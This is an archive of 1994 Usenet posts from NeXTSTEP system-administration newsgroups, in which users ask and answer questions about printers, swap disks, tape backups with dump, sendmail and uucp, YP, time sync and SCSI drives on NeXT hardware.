I have posted this problem once before, but with very little response so I will try again. I have a 040 monochrome slab
recently upgraded to NS 3.2. I have no printer access. In the printmanager I can see the local printer entry marked as unavalible. If I try to change it, it tells me there is no printer attached (wrong answer). I have looked in the netinfo database and tryed to find something simple. The only thing that doesn't seem write is that there is no entry for the port.
I was even bold enough to delete the printer from netinfo (the delete option in the printmanager is not highlighted so this was the only place I could delete it). When I rebooted, there was the printer in the same state as before.
Help
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: Novell REALLY REALLY SLOW
Message-ID: <CpoCp7.Dww@cunews.carleton.ca>
Followup-To: comp.sys.next.bugs,comp.sys.next.sysadmin
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <2qr5jp$7t4@hamblin.math.byu.edu>
Date: Thu, 12 May 1994 05:31:54 GMT
Sean O. Luke (sean@zapotec.math.byu.edu) wrote:
: I've noticed to major bugs in NeXTSTEP 3.2, and I'm sure they've
: been noticed before on _some_ users' system, so I'm posting to
: see if I could get some help.
: 1) I'm using a Microsoft serial mouse (I know, I know), and an
: Intel system (a System E straight _from_ Intel). The Workspace
: Manager seems to be having a really bad time with clicking on icons
: and drag-and-drop. Namely, double-clicking on an icon freaks it out,
: and drag-and-drop no longer work. It might have something to do with
: the evil serial mouse driver, but I don't think so.
: 2) Novell services are SO SLOW AS TO BE UNUSABLE!!!! Contrast this
: to my coworkers who have no problem at all accessing the exact same
: network at blinding speed in Windows. This is unacceptable. Can anyone
: tell me why it would take a full minute to open a directory containing
: three files on an underutilized Novell server?
Well, I'm running on a non-certified, non-listed clone 486,
also with a Micro$oft serial mouse, and I seem to be able to double-click
just fine. Same goes for dragging. What does 'freaks it out' mean anyway?
Would you be referring to what gets put in the console as 'Drag service
protocol error'? Please be specific about bugs/problems.
I have just recently been doing things with one of our clients' NetWare
network through NeXTSTEP (Intel & Motorola). Access through WorkSpace
Manager is excellent. I have also been using Netware through SoftPC, and
have had access to the server for login & disk access at a _Very_
acceptible speed.
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
From: kev@bri.hp.com (Kevin Jones)
Subject: Re: DAT Stackers
Sender: news@bri.hp.com (News User)
Message-ID: <CpoFKM.5sC@bri.hp.com>
Date: Thu, 12 May 1994 06:33:58 GMT
References: <2q6ffb$dd@panix.com> <2q93kv$v2d@inca.gate.net> <2qav34$crl@nwfocus.wa.com> <2qo8qu$6mk@reznor.larc.nasa.gov>
Organization: Hewlett-Packard
Followup-To: comp.sys.next.sysadmin,comp.periphs.scsi
Scott Dorsey (kludge@grissom.larc.nasa.gov) wrote:
: I have been impressed with the HP drives, but I'd like to know if anyone
: is manufacturing a stacker using them at this point. I rather like the
: look of the Exabyte 4mm stacker which isn't yet available, but I'd rather
: not deal with the bugs of a brand new product. (Does anyone have any
: suggestions at all as far as DAT stackers go?)
HP has a stacker/autochanger, the C1553A.
It contains a single C1533A DDS2 drive (510Kbytes/Sec,
4Gbyte native capacity on a 120m tape). Cartridge load/unload
via a 6 cartridge magazine. It is 5.25" form factor.
Total capacity = 6 * 4Gbytes * whatever your compression ratio is.
Cartridge transport may be controlled via the front panel
(operating as a stacker) or via SCSI (operating as an autochanger).
-----------------------------------------------------------------
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| Computer Peripherals Bristol,
kev%hpcpbla@hplb.hpl.hp.com | Filton Road,
| Stoke Gifford,
| Bristol. BS12 6QZ.
| ENGLAND.
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statement by, the Hewlett-Packard Company. The above data is
provided for informational purposes only. It is supplied
without warranty of any kind.
From: young@cse.ucsc.edu (Sing Z.S. Young)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.programmer
Subject: DDC1, DDC2 ?
Date: 12 May 1994 07:13:58 GMT
Organization: University of California, Santa Cruz (CE/CIS Boards)
Distribution: world
Message-ID: <2qskvm$c0l@darkstar.UCSC.EDU>
Does anybody know what DDC1 and DDC2 stand for ? The context is
something about telecommunication.
If this is not the proper place to ask this question, any pointerr
to where the answer might be found is highly appreciated.
Thanks !
Sing Young
From: tfs@gravity.science.gmu.edu (Tim Scanlon)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail problem
Followup-To: comp.sys.next.sysadmin
Date: 11 May 1994 17:36:42 GMT
Organization: George Mason University, Fairfax Va.
Sender: tfs@gravity.science.gmu.edu
Distribution: world
Message-ID: <2qr53a$fqm@portal.gmu.edu>
References: <1994May3.135246.9456@cs.uno.edu> <2qbvh0$2j9@cthulu.UU.NET> <1994May11.140011.1054@cs.uno.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Summary: uunet is screwed up
Don't pay it much mind, chances are that they don't have an A type
record. I've run into a small ton of problems mailing adresses that have
UUNET as the primary nameserver. I don't know what the problem is, but I've
entirly given up on mailing people there or my friends who are attached
to them.
Tim Scanlon
Newsgroups: comp.sys.next.sysadmin
From: jscoggin@netcom.com (Jerry Scoggins)
Subject: Re: Booting an old cube (no floppy) from a CD
Message-ID: <jscogginCpoGrs.8G8@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
References: <2qlsfr$gu1@nef.ens.fr>
Date: Thu, 12 May 1994 06:59:51 GMT
dicosmo@dmi.ens.fr sayz:
>I remember seeing some posts an year or so ago,
>when people were upgrading to 3.0, about the difficulty
>of booting a cube (with no floppy, only the OD) from
>a CD... I do not remember if it was possible or not:
>reading now in NextAnswers, I found proper directions
>to boot from a CD, but they all require a floppy if
>the NeXT is a non-turbo one (like the cube we are trying
>to upgrade) ....
>
>Any ideas, suggestion? Even a simple "will not work, buy a floppy"
>will help :-)
>
>thank you very much for your help and patience ...
>
>--
>Roberto Di Cosmo <dicosmo@dmi.ens.fr>
I wish I had an answer, in fact I'm waiting for someone to reply with
one. :-)
I'll be upgrading an 030 cube real soon. I was planning on pulling
the hard drive, put it in an external case, hook it up to a machine
running 3.2, then run BuildDisk. Maybe you could find someone in France
that could help you out?
Jerry
Newsgroups: comp.sys.next.sysadmin
From: jscoggin@netcom.com (Jerry Scoggins)
Subject: Re: No Recycler on disk, Black HW
Message-ID: <jscogginCpoHAD.9Gs@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
References: <jscogginCpKGFJ.n34@netcom.com> <2qpnkj$oo5@cat.cis.brown.edu>
Date: Thu, 12 May 1994 07:11:01 GMT
burton@het.brown.edu sayz:
>Jerry Scoggins and EPS write:
>
>>>>They each have a .NextTrash directory, permissions are 755 on each.
>
>>>That's your problem. They need to be 1777 (the only way 755
>>>could work would be if the disk were automounted with file
>>>ownerships disregarded).
>
>drwxr-xr-x != 1777. Try again....
I found my problem a couple of days ago. Yep, everyone was right, I
just didn't know what was happening. After I set it to 1777, I needed
to logout and back in before testing. It seems the WorkSpace caches
the state of the recyclers.
The reason the other drive didn't need to be 1777 was because that is
the file system with the user accounts. Well... Each user has their
own trash.
Thanks again for all the mail and replies,
Jerry
From: starksm@genesis.mcs.com (Scott M. Stark)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: NEC 3xi problems?
Date: 12 May 1994 08:48:38 GMT
Organization: MCSNet Services
Distribution: world
Message-ID: <2qsqh6$c03@News1.mcs.com>
Keywords: NEC, Intel, TIFF
Hi,
I seem to be having reading TIFF/binary files from CDs with an
internal NEC 3xi. The system is from Alpine, DPT 2012-B SCSI controller.
If I put in the developer CD, most app/directory icons have a band through
them, and many apps won't launch from the CD. If I look at TIFFs long
enough the Workspace exits with internal error 2002. Any ideas as to
whether this is a problem with the drive, drivers, or some other system
problem?
Scott
--
Scott Stark
Stark Internation Software
4950 N. Marine Dr.
#102
Chicago, IL 60640
starksm@genesis.mcs.com (NeXT mail accepted)
From: jpowell@borg.lib.vt.edu (James Powell)
Newsgroups: comp.sys.next.sysadmin
Subject: DEC DSP5350 drive on black hw
Date: 12 May 1994 12:47:57 GMT
Organization: Newman Library, Virginia Tech
Message-ID: <2qt8ht$jge@solaris.cc.vt.edu>
I just got a 3.5Gb Digital Equip. hard drive that does not seem to work with
my Nextstation. The station simply does not see anything at the assigned
SCSI ID. I've tried both ID 3 and 6, both of which are free. I booted up
in "verbose" mode to watch the SCSI probe, and the drive is not detected.
This is a SCSI 2 drive but that should not matter - right? Anyone using this
drive or the similar DSP5200?
--
James Powell - Library Automation, University Libraries, VPI&SU
jpowell@borg.lib.vt.edu - NeXTMail welcome here
Owner of VPIEJ-L, a discussion list for Electronic Journals
Archives: http://borg.lib.vt.edu:80/ gopher://borg.lib.vt.edu:70/
From: andre@gollum.phys.laurentian.ca (Andre Roberge)
Newsgroups: comp.sys.next.sysadmin
Subject: Help needed; system panic in the middle of the night
Date: 12 May 1994 12:50:00 GMT
Organization: Laurentian University, Sudbury, ON, Canada
Distribution: world
Message-ID: <2qt8ls$r2c@penage.cs.laurentian.ca>
For the past three days, I've been getting to work only to see my NeXT in
a state of panic... Below is a typical sample of what is recorded in
/adm/messages
------------------------------------------------
May 9 16:25:31 gollum -[157]: loginwindow: Workspace exited ts 0 cd 0 rc
0 sv 0 ss 0.
May 10 02:01:36 gollum mach: dev = 0x600, ino = 224, fs = /
May 10 02:01:36 gollum mach: panic: (Cpu 0) ifree: freeing free inode
May 10 02:01:36 gollum mach: NeXT ROM Monitor 2.5 v66
May 10 02:01:38 gollum syslogd: going down on signal 15
May 10 07:35:35 gollum mach: Killing all processes
------------------------------------------------
Any idea at what might cause this? I have a CD-ROM drive and a
Bernouilli box connected to my workstation (Black) running 3.0.
Thanks in advance,
Andre Roberge
Laurentian University
PLEASE reply by email.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.misc
From: wucolin@popeye.CIS.McMaster.CA (Colin Wu)
Subject: DockPrint semi-fails under NS3.2
Message-ID: <1994May12.134017.10706@mcshub.dcss.mcmaster.ca>
Sender: usenet@mcshub.dcss.mcmaster.ca
Organization: McMaster University, Hamilton, Ontario.
Date: Thu, 12 May 1994 13:40:17 GMT
Hello NeXT'ers,
I have this application, DockPrint, from NS2.0 days that has semi-failed since
upgrading to NS3.2 (on a mono slab) and I'm wondering if anyone
a) knows how I might fix this and/or
b) knows of a similar application that works properly under NS3.2
DockPrint, if you don't know, is an application that should ideally sit in your
Dock. When active you can drag a document icon onto the DockPrint icon and the
document can be printed, tared, compressed, etc. However, ever since I
upgraded to NS3.2 DockPrint hasn't worked when Docked (it works fine if started
from the FileViewer).
I didn't write DockPrint, but I have the sources, and I've recompiled since the
upgrade.
Any help appreciated.
Thanks.
--
__ _ _ Colin Wu
/ ) // ' ) / Network Analyst
/ __|/ o ____ / / / . . Computing & Information Services
(__/ (_) \_<_/ / <_ (_(_/ (_/_ McMaster University
(905)525-9140 ext 24050
"If you want to truly understand something, try to change it." - Kurt Lewin
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: Small Swap Drive - HELP
Date: 12 May 1994 14:33:57 GMT
Organization: University of Maryland, College Park
Message-ID: <2qteol$gbs@cville-srv.wam.umd.edu>
Hi,
I've been mulling over the addition of a small, external
SCSI drive to use as a swap drive on this NS/Intel
system.
Is this a very good idea? Is performance improvement
worth the (minimal) cost?
Does it matter greatly whether the swap drive is slow
(most 40Meg drives are - but so cheap I've been
considering the swap drive).
Is it as easy to set up as Next leads you to believe?
Thanks
L.A. Brooks
U. of Maryland
From: gt2186a@prism.gatech.edu (Frank Naylor Cobia)
Newsgroups: comp.sys.next.sysadmin
Subject: Making a swapdisk
Date: 12 May 1994 11:38:39 -0400
Organization: Georgia Institute of Technology
Message-ID: <2qtihv$eeh@acme.gatech.edu>
Summary: How do you make one
I am trying to turn my internal 105 meg drive into a swap disk. I have
plenty of other space for storing files and such. I am hoping to get
a little speedup. The documentation says to format with DiskBuilder.app
and it will turn it into a swapdisk if it is too small to hold
the minimum distribution. The problem is that 105 meg is big enough.
Does anyone know how I can accomplish this?
Thanks
Frank
--
COBIA,FRANK NAYLOR
Georgia Institute of Technology, Atlanta Georgia, 30332
uucp: ...!{allegra,amd,hplabs,ut-ngp}!gatech!prism!gt2186a
Internet: gt2186a@prism.gatech.edu
From: chris@helser54.res.iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: What's the proper entry in fstab to mount dos partition? Thanks
Date: 12 May 1994 15:56:56 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2qtjk8$h4b@news.iastate.edu>
Keywords: fstab, partition,DOS,dos,mount
The subject said it all.
Thanks for any help.
Chris
From: chris@helser54.res.iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo to set time sync machine?
Date: 12 May 1994 15:58:08 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2qtjmg$h4j@news.iastate.edu>
Can I use NetInfo to set up time sync with other non-NeXT machine?
Thanks for any info.
Chris
From: dnelson@scrinext.scri.fsu.edu (Dru Nelson)
Newsgroups: comp.sys.next.sysadmin
Subject: Quantum Empire - works on Black
Date: 12 May 1994 18:05:11 GMT
Organization: Florida State University
Message-ID: <2qtr4n$f4e@mailer.fsu.edu>
Hello,
Recently, we purchased a Quantum 1080 Empire drive to work on a
Nextstation. It worked quite well despite posts of problems on
the net. There wasn't anything special to it. We discovered
that we had a bad SCSI cable in the process. After that, it
ran like a champ.
Dru
Newsgroups: comp.sys.next.sysadmin
From: emstech@music.mcgill.ca (Alain Terriault -- EMS Technician)
Subject: Does YP from NS3.2 work properly ?
Message-ID: <1994May12.185341.4565@sifon.cc.mcgill.ca>
Sender: news@sifon.cc.mcgill.ca
Organization: McGill University
Date: Thu, 12 May 1994 18:53:41 GMT
Does the YP Makefile that comes with NS3.2 work properly ?
I have been told that it needs a patch,true or false ?
YP is kind of new for me, so for sure I am having problems. I just want to
know if I am not wasting my time with something that simply doesn't work.
I trying to build YP for a SGI machine.
Thanks,
--
Alain Terriault
System Operator
Music Faculty, Mcgill University
Montreal, Canada
Email: emstech@music.mcgill.ca
ps: Salut Kharim :-)
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NetInfo to set time sync machine?
Date: 12 May 1994 22:09:43 GMT
Organization: University of Illinois at Urbana
Message-ID: <2qu9f7$2nq@vixen.cso.uiuc.edu>
References: <2qtjmg$h4j@news.iastate.edu>
chris@helser54.res.iastate.edu (Chris Wong) writes:
>Can I use NetInfo to set up time sync with other non-NeXT machine?
With HostManager,
Add a host record for the ntp server you want to use (make sure to
ask them if it's OK first).
Then under Network->Time Configuration, click Time Service Enabled,
and click on that machine's listing as a "master". You will need to
reboot or run ntpd manually in order for this change to take
effect.
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: pln@egret0.Stanford.EDU (Patrick L. Nolan)
Newsgroups: comp.soft-sys.nextstep,gnu.gcc.help,comp.sys.next.sysadmin
Subject: Re: Can't compile gcc on NeXT (Intel)
Followup-To: comp.soft-sys.nextstep,gnu.gcc.help,comp.sys.next.sysadmin
Date: 12 May 1994 21:47:29 GMT
Organization: Stanford University
Distribution: inet
Message-ID: <2qu85h$t7j@nntp2.Stanford.EDU>
References: <2qp23m$qvl@nntp2.Stanford.EDU>
Patrick L. Nolan (pln@egret0.Stanford.EDU) wrote:
: I'm trying to compile gcc version 2.5.8 on Nextstep 3.2 on an Intel
: 486 machine. The compilation just can't complete without a system
: panic, lockup, bus error, or internal compiler error. Lately they
: have been happening pretty regularly in the early stages of the
: stage 2 compilation, so I haven't been making any progress.
: The errors are not the same each time.
I have received answers from 6 people. The all agreed on a couple
of things:
1. The cc compiler on NS 3.2 in an extended version of gcc 2.2.2,
with c++ and libg++ included. The man page doesn't mention the
c++ support. This is adequate for my needs, so I won't continue
trying to compile 2.5.8.
2. Nobody else experienced problems of the kind I see. The
concensus is that I have a hardware problem that is exercised
only by a big job like compiling gcc. Since giving up that
exercise, there have been no serious glitches. The problem might
be in memory, cache, the SCSI controller, or the disk. I might
pursue this issue further.
Thanks to:
csaldanh@mae.carleton.ca
mat@skyclad.lcs.mit.edu
pww@bnr.ca
mark@ve6mgs.ampr.ab.ca
stoeri@eapds5.tuwien.ac.at
dennisg@ocsg.com
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Does YP from NS3.2 work properly ?
Message-ID: <1994May12.224311.11031@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <1994May12.185341.4565@sifon.cc.mcgill.ca>
Date: Thu, 12 May 1994 22:43:11 GMT
In article <1994May12.185341.4565@sifon.cc.mcgill.ca>
emstech@music.mcgill.ca (Alain Terriault -- EMS Technician) writes:
> Does the YP Makefile that comes with NS3.2 work properly ?
> I have been told that it needs a patch,true or false ?
>
> YP is kind of new for me, so for sure I am having problems. I just want
to
> know if I am not wasting my time with something that simply doesn't
work.
> I trying to build YP for a SGI machine.
I've done a minimal yp installation using 3.2. The patch from NeXTanswers
was applied, and it seems to be running OK still.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: alastair@farli.otago.ac.nz (Alastair Thomson)
Subject: Routing Etalk and IPX
Message-ID: <CppssA.83D@news.otago.ac.nz>
Sender: usenet@news.otago.ac.nz (News stuff)
Organization: University of Otago
Date: Fri, 13 May 1994 00:16:58 GMT
Hi everyone,
We are looking at using a PC or HP712 with two ethernet adapters as a
router/firewall so we can subnet our department. Simple enough for
IP, but we have Macs and PC using EtherTalk and Novell IPX on the
same strand of ethernet. Can we configure the firewall/router to pass
the Etalk and IPX packets, but do the selective blocking of IP
packets we need? Can we do it with NeXTSTEP? with a 3rd party
product?, some other way?
Thanks,
Alastair
--
Alastair Thomson, | Phone +64-3-479-8347
Computer Science Department, | Fax +64-3-479-8529
University of Otago, |
Dunedin, | alastair@Black_Albatross.otago.ac.nz
New Zealand | NeXTmail Welcome
Newsgroups: comp.sys.next.sysadmin
From: riddler@netcom.com (Andy Riedel)
Subject: Programmers Unite!!!!
Message-ID: <riddlerCppsqC.43@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
Date: Fri, 13 May 1994 00:15:48 GMT
I would like to make a general call to all programmers/developers to
really get on NeXT to fix the 64Mb DOS partition limit under SoftPC 3.1
using NS for Intel 3.2. In my opinion, this is unacceptable and seriously
limits the usability of SoftPC. I have a 800 Mb DOS partition and must
manually copy files when I need them.
I don't think we should have to wait until NS 3.3 ships which I'm told is
October for a fix like this. I really think NeXT should ship a patch
ASAP. I think refusing to do so will: 1) Hamper NS sales for NS/IBM cross
platform developers, 2) Hamper sales of SoftPC thus damaging the
reputation of Insignia (even though it's not their fault), and 3) cause
people like myself to look elsewhere for solutions other than NS.
A 64Mb partition limit may have been acceptable when 120 Mb hard drives
were the rage (circa 1988????).
Fix it NeXT!!!!!!!!
P.S. Comments welcome
From: mcculla@gaul.csd.uwo.ca (Steve McCullagh)
Newsgroups: comp.sys.next.sysadmin
Subject: Request: /etc/remote example
Date: 13 May 1994 13:46:09 GMT
Organization: Department of Computer Science, University of Western Ontario, London, Ontario, Canada
Distribution: world
Message-ID: <2r00b1$bhr@falcon.ccs.uwo.ca>
I'm running NS 3.0 on a NeXTstation and am in the process of setting up
dialin access via an Intel 14400 modem. If anyone with a similar setup
(any 14400 modem with hardware flow control will suffice) could mail me
an example of their /etc/remote and /etc/ttys files, it would help me
out!
Thanks,
Steve e-mail: mcculla@gaul.csd.uwo.ca
steve@melmak.engga.uwo.ca
Newsgroups: comp.sys.next.sysadmin
From: Matthias Rosenberger
Subject: Re: size in dump
Message-ID: <1994May13.142743.28990@news.lrz-muenchen.de>
Keywords: dump, bpi
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <1994May6.232959.28443@vlsi.polymtl.ca>
Date: Fri, 13 May 1994 14:27:43 GMT
In article <1994May6.232959.28443@vlsi.polymtl.ca> jmh@info.polymtl.ca (Jean-Marc Heneman) writes:
> When I dump on a Python tape drive with a size of 1250000, dump reports
> that I need 0.01 tape. But I know my file system takes about 250MB.
> 2GB/1600BPI= 1250000 feet approx isn't it?
>
> the right answer of dump should by > 0.10 tape...
> what's wrong?
>
BPI = byte per inch, isn't it?
In that sense, I think there is an mistake in the dump man page.
Further, I couldn't find out a rule how to calculate the parameters for dump
for my QIC tape drive other than by trial. The rules given in the man page
seem to be nonsense. So I found out e.g.:
dump 0ufs /dev/rst0 30000 /dev/rsd0a,
which aproximately fills a 525 MB tape. Then I get from dump:
DUMP: estimated 377802 tape blocks on 0.75 tape(s)
So I can check the s-parameter for dump.
The s-parameter seems to be not proportional to the tape capacity.
Really annoying ...
--
Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
email: matthias@macnet.wsi.physik.tu-muenchen.de
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Making a swapdisk
Date: 13 May 1994 07:41:41 GMT
Organization: Palumbian Research Labs
Message-ID: <2qvavl$2s4@marsu.tynet.sub.org>
References: <2qtihv$eeh@acme.gatech.edu>
Mime-Version: 1.0
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Frank Naylor Cobia writes
> I am trying to turn my internal 105 meg drive into a swap disk. I have
> plenty of other space for storing files and such. I am hoping to get
> a little speedup. The documentation says to format with DiskBuilder.app
> and it will turn it into a swapdisk if it is too small to hold
> the minimum distribution. The problem is that 105 meg is big enough.
> Does anyone know how I can accomplish this?
The documentation info is outdated. Just rename your disk label to
'swapdisk' and reboot. Works with any disk size.
Markus.
--
/dev/ Markus Wenzel
/usr/spool/mail/ mow@marsu.tynet.sub.org
/etc/zoneinfo/ University of Stuttgart
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Newsgroups: comp.sys.next.sysadmin
From: Dave@NexusAdmin.COM(David W. Fahrney)
Subject: Re: How to boot from DOS disk?
Message-ID: <CpqzG1.EL@nexusadmin.com>
Sender: dave@nexusadmin.com (David W. Fahrney)
Organization: Nexus Administration
References: <2qm6n8$dog@cville-srv.wam.umd.edu>
Date: Fri, 13 May 1994 15:38:24 GMT
L. Anathea Brooks writes
!> Hi folks,
!>
!> I'm used to black hw, but this white hw is beyond
!> my ken.
!>
!> How do I add a 2nd SCSI drive, install DOS/WIN 3.1
!> on it, and boot from it when I want instead of booting
!> NS 3.2?
!>
NeXT more or less answers this in NeXTAnswers Document
1487_Booting_From_An_Alternative_Hard_Disk_Drive.rtfd.
--
David W. Fahrney =:-)
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From: twasko@cuug.ab.ca (Tim Wasko)
Subject: uucp/sendmail
Sender: usenet@cuug.ab.ca
Message-ID: <CprAvw.4LF@cuug.ab.ca>
Date: Fri, 13 May 1994 19:45:32 GMT
Organization: Calgary UNIX User's Group
I am using NeXTs "stock" sendmail.cf files to get uucp. It works fine except
for the first line in the mail looks like:
From somewhere!person@site ...
^^^^^^^^^^
Why is this somewhere! showing up. I can't see anything in the rules that
show this. Any ideas are welcome. Please email directly.
From: mcquill@next.duq.edu (Tod McQuillin)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: uucp/sendmail
Date: 13 May 1994 17:45:23 -0400
Organization: Duquesne University, Pittsburgh, PA USA
Message-ID: <2r0sdj$bu0@keen.ccit.duq.edu>
References: <CprAvw.4LF@cuug.ab.ca>
In article <CprAvw.4LF@cuug.ab.ca>, Tim Wasko <twasko@cuug.ab.ca> wrote:
> I am using NeXTs "stock" sendmail.cf files to get uucp. It works fine except
> for the first line in the mail looks like:
>
> From somewhere!person@site ...
> ^^^^^^^^^^
>
> Why is this somewhere! showing up. I can't see anything in the rules that
> show this.
NeXT's /bin/rmail inserts the "somewhere!" in front of the remote
username if there is no "remote from foo" string in the From_ header
of incoming mail.
Either get your uucp neighbour to use "remote from foo" lines in the
From_ headers they generate (they will need to tun on the "U" mailer
flag for the uucp mailer), or replace /bin/rmail with a newer version
(the one that comes with sendmail 8.6.9 works great).
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From: karl@trapac.com (Karl Kraft)
Subject: Re: Small Swap Drive - HELP
Message-ID: <CprBIs.20x@trapac.com>
Sender: karl@trapac.com (Karl Kraft)
Organization: Trans Pacific Container Service Corporation
References: <2qteol$gbs@cville-srv.wam.umd.edu>
Date: Fri, 13 May 1994 19:59:15 GMT
In article <2qteol$gbs@cville-srv.wam.umd.edu> gaia@wam.umd.edu (L.
Anathea Brooks) writes:
> Hi,
>
> I've been mulling over the addition of a small, external
> SCSI drive to use as a swap drive on this NS/Intel
> system.
> Is this a very good idea? Is performance improvement
> worth the (minimal) cost?
I don't know the answers to the above. I've used 40 Meg swapdrives on
NetBooted machines, and it certainly beats swapping over the network.
My machines tend to have swapfiles in the 80 -150 megabyte range, so I
don't think a 40 would work well for me.
> Is it as easy to set up as Next leads you to believe?
>
Yes and No
Once you have formatted the disk (Workspace will do it for you), name
it swapdisk. Then reboot. Your machine will now swap to that disk.
Note that you cannot have removable media with a lower SCSI-ID then
the swapdisk, or it will not work. Once rc.swap detects that a
SCSI-ID has no media, it stops looking for swapdisk.
--
Karl Kraft
Karl_Kraft@trapac.com
Karl_Kraft@ensuing.com
[My opinions are my own]
From: pln@egret0.Stanford.EDU (Patrick L. Nolan)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't see tape
Date: 13 May 1994 22:16:08 GMT
Organization: Stanford University
Message-ID: <2r0u78$esm@nntp2.Stanford.EDU>
The trials of a new NeXT administrator. Actually, it's an Intel 486
with NS 3.2. Since things seem to be fairly stable I decided to do
my first backup to the Archive 525 MB tape. But dump tells me that
/dev/rst? doesn't exist for several choices of device number.
Also mt tells me the same thing. The special files exist in /dev,
so that's not the problem.
In the early stages of booting, a message appears telling of the
controller, disk, and tape. But later, when all the "registering"
messages come, there is no mention of the tape. It doesn't seem
to be visible. Also in the Configure.app there is no entry for
tape devices. What can I do?
--
* Patrick L. Nolan (415)723-0133 *
* W. W. Hansen Experimental Physics Laboratory (HEPL) *
* Stanford University *
* Bitnet: PLN@SLACVM Internet: pln@egret0.stanford.edu *
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From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: Re: What's the proper entry in fstab to mount dos partition? Thanks
Message-ID: <1994May13.180827.7152@vlsi.polymtl.ca>
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
References: <2qtjk8$h4b@news.iastate.edu>
Date: Fri, 13 May 1994 18:08:27 GMT
Beware about moounting big partition of DOS : see notice
1481_Large_DOS_Partition_Bug.rtf on nextanswers...
(noramlly NEXTSTEP detect and mount the DOS partition without modifiing
fstab...)
Chris Wong (chris@helser54.res.iastate.edu) wrote:
: The subject said it all.
: Thanks for any help.
: Chris
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
__
/ /_/
__/ / /
From: swiet@syzygy.cs.jhu.edu (Alexander Swietlicki)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Quantum Empire - works on Black
Date: 13 May 1994 22:33:31 GMT
Organization: Computer Science Department, The Johns Hopkins University
Message-ID: <SWIET.94May13183331@syzygy.cs.jhu.edu>
References: <2qtr4n$f4e@mailer.fsu.edu>
In-reply-to: dnelson@scrinext.scri.fsu.edu's message of 12 May 1994 18:05:11 GMT
In article <2qtr4n$f4e@mailer.fsu.edu> dnelson@scrinext.scri.fsu.edu (Dru Nelson) writes:
Recently, we purchased a Quantum 1080 Empire drive...
Darn. And I thought it was a new game. :-)
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From: ralf@rafa.in-berlin.de (Ralf Neumann)
Subject: Re: Small Swap Drive - HELP
Message-ID: <1994May13.224753.902@rafa.in-berlin.de>
Sender: ralf@rafa.in-berlin.de (Ralf Neumann)
Organization: DRN
References: <2qteol$gbs@cville-srv.wam.umd.edu>
Date: Fri, 13 May 1994 22:47:53 GMT
Hi,
you will die with 40Mb's swapfile if you make Image- or DSP processing. Take
care!
Ralf
In article <2qteol$gbs@cville-srv.wam.umd.edu> gaia@wam.umd.edu (L. Anathea
Brooks) writes:
> Hi,
>
> I've been mulling over the addition of a small, external
> SCSI drive to use as a swap drive on this NS/Intel
> system.
> Is this a very good idea? Is performance improvement
> worth the (minimal) cost?
> Does it matter greatly whether the swap drive is slow
> (most 40Meg drives are - but so cheap I've been
> considering the swap drive).
> Is it as easy to set up as Next leads you to believe?
>
> Thanks
>
> L.A. Brooks
> U. of Maryland
>
>
>
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*| Ralf Neumann | ralf@rafa.in-berlin.de | Voice+49 30 / 321 78 84 |*
*| crypt: pgp2 puplic key available | Fax +49 30 / 321 28 68 |*
*| Try NeXTmail please! |*
From: bm10009@a6-hct.acad.cai.cam.ac.uk (Ben Moseley)
Newsgroups: comp.sys.next.sysadmin
Subject: 'w' gives weird idle time
Date: 14 May 1994 09:12:05 GMT
Organization: University of Cambridge, England
Message-ID: <2r24l5$ei4@lyra.csx.cam.ac.uk>
Is this was a known bug or am I missing something? - I've never seen any
mention of it on c.s.n.b.
('w' gives idle time of 10 days when system has only been up for two. -
The commands were issued Sat May 14)
% w
10:03am up 1 day, 19:57, 3 users, load average: 0.06, 0.03, 0.01
User tty login@ idle JCPU PCPU what
